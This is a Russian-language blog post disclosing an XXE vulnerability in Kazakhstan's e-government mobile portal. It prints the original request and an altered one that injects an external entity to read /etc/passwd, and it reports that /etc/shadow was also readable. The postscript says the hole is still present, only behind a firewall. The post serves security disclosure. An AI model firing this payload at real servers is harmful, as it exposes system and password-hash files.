Pull to refresh

Старые-новые дыры Электронного правительства Казахстана

Reading time4 min
Views8.2K
DISCLAMER!
Описанная в статье уязвимость исправлена и не несет в себе никакой опасности. Публикация написана в целях академического просвещения читателей и демонстрации важности вопросов ИБ. Описанная уязвимость присутствовала на E-GOV несколько лет и позволяла получить доступ к паролям пользователей электронного правительства Казахстана.
Недавно на портале электронного правительства Республики Казахстан egov.kz закрыли критическую уязвимость. Так как баг уже закрыт и его раскрытие больше не представляет угрозы, было принято решение обсудить его с вами, так как с технической и академической точки зрения случай представляет большой интерес для исследователей. Еще один немаловажный момент: в определенных кругах такие ошибки, в частности конкретно эта, известны очень длительное время, и их наличие вызывает много вопросов к уровню компетентности ответственных лиц.

Те, кто всегда пользуется web-сервисами через прокси, чтобы контролировать обмен данными, могли заметить в мобильной версии сайта egov.kz передаваемые на сервер запросы в виде XML. Многие исследователи пробовали подгрузить в запрос сущность, или, простым языком, провести атаку типа XXE.

Запрос выглядел примерно так:

POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type:application/json
code:********************************************
Content-Type: application/json;charset=UTF-8
Content-Length: 926

{"iin":"************","msisdn":"***********","requestXml":"%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.org%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.bee.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%3C%2fiin%3E%3Cphone%3E***********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3CdateOfInstallation%3E2016-06-23%3C%2fdateOfInstallation%3E%3CappId%*****
**************************************************
**************************************************
*************************************%3C%2fappId%3E%3
Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EANDROID%3C
%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion
%3E%3CsmsChannel%3Etrue%3C%2fsmsChannel%3E%3CpushChannel
%3Etrue%3C%2fpushChannel%3E%3C%2fdeviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}

После внесения изменений он выглядел вот так:

POST http://m.egov.kz/cdb-adapter/mobilecitizen/update HTTP/1.1
Host: m.egov.kz
X-Egov-Mobile-Sso:************************************
Content-Type:application/json
code:********************************************
Content-Type: application/json;charset=UTF-8
Content-Length: 926

{"iin":"************","msisdn":"***********","requestXml":"%3C%21DOCTYPE%20foo%20%5B
%3C%21ENTITY%20xxe%20SYSTEM%20%5C%22file%3A%2f%2f%2fetc%2fpasswd%5C%22%3E%
20%5D%3E%3Cns3%3AupdateRequest%20xmlns%3Ans2%3D%5C%22http%3A%2f%2fwww.w3.or
g%2f2000%2f09%2fxmldsig%23%5C%22%20xmlns%3Ans3%3D%5C%22http%3A%2f%2fmgov.be
e.kz%2fmbc%2fv6%5C%22%3E%3Ciin%3E************%26xxe%3B%3C%2fiin%3E%3Cphone%
3E7**********%3C%2fphone%3E%3CotpCode%3E000%3C%2fotpCode%3E%3CdeviceInfo%3E%3
CdateOfInstallation%3E2016-**-**%3C%2fdateOfInstallation%3E%3CappId%********************************************
*********************************************************************************
*****************%3C%2fappId%3E%3Cimei%3E%3C%2fimei%3E%3CoperatingSystem%3EAN
DROID%3C%2foperatingSystem%3E%3CosVersion%3E5.1.1%3C%2fosVersion%3E%3CsmsChannel
%3Etrue%3C%2fsmsChannel%3E%3CpushChannel%3Etrue%3C%2fpushChannel%3E%3C%2f
deviceInfo%3E%3C%2fns3%3AupdateRequest%3E"}

Чтобы было понятней, покажем запрос в читаемом виде (добавленные данные выделены):

<b><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\"> ]></b><ns3:updateRequest xmlns:ns2=\"http://www.w3.org/2000/09/xmldsig#\" xmlns:ns3=\"http://mgov.bee.kz/mbc/v6\"><iin>************<b>&xxe
</b>;</iin><phone>***********</phone><otpCode>000</otpCode><deviceInfo><dateOfInstallation>2016-**-**</dateOfInstallation>
<appId>*************************************************************
*********************************************************************
**********</appId><imei></imei><operatingSystem>ANDROID</operatingSystem>
<osVersion>5.1.1</osVersion><smsChannel>true</smsChannel>
<pushChannel>true</pushChannel></deviceInfo></ns3:updateRequest>

Как можно заметить, запрашивался файл /etc/passwd и, к удивлению исследователей, в ответ получили его содержимое (снимок экрана прилагается):



Объясняя простым языком, уязвимость позволяла читать локальные файлы сервера, в том числе файл /etc/passwd. Кроме чтения файлов, уязвимость позволяла просматривать содержимое директорий (снимок экрана также прилагается).



Особо одаренные исследователи пользовались скриптами для удобной работы с уязвимостью.



Неописуемое удивление исследователей вызывала возможность чтения файла /etc/shadow — файл содержит хэши паролей пользователей, обычно доступные только привилегированным пользователям.



Все это говорит о том, что сервисы работают с максимальными привилегиями, это очень-очень плохо!

Но есть и хорошая новость: обсуждаемая уязвимость, наконец-то, закрыта (ну как закрыта, просто поставили WAF который блокирует все подряд). Так что теперь данные сервера, а вместе с ними и данные граждан Казахстана, утекают в Интернет медленнее, если еще не утекли.

P.S.: Бага не то чтобы исправлена, она актуальна, но осталась за фаерволом
Tags:
Hubs:
Total votes 21: ↑21 and ↓0+21
Comments7

Articles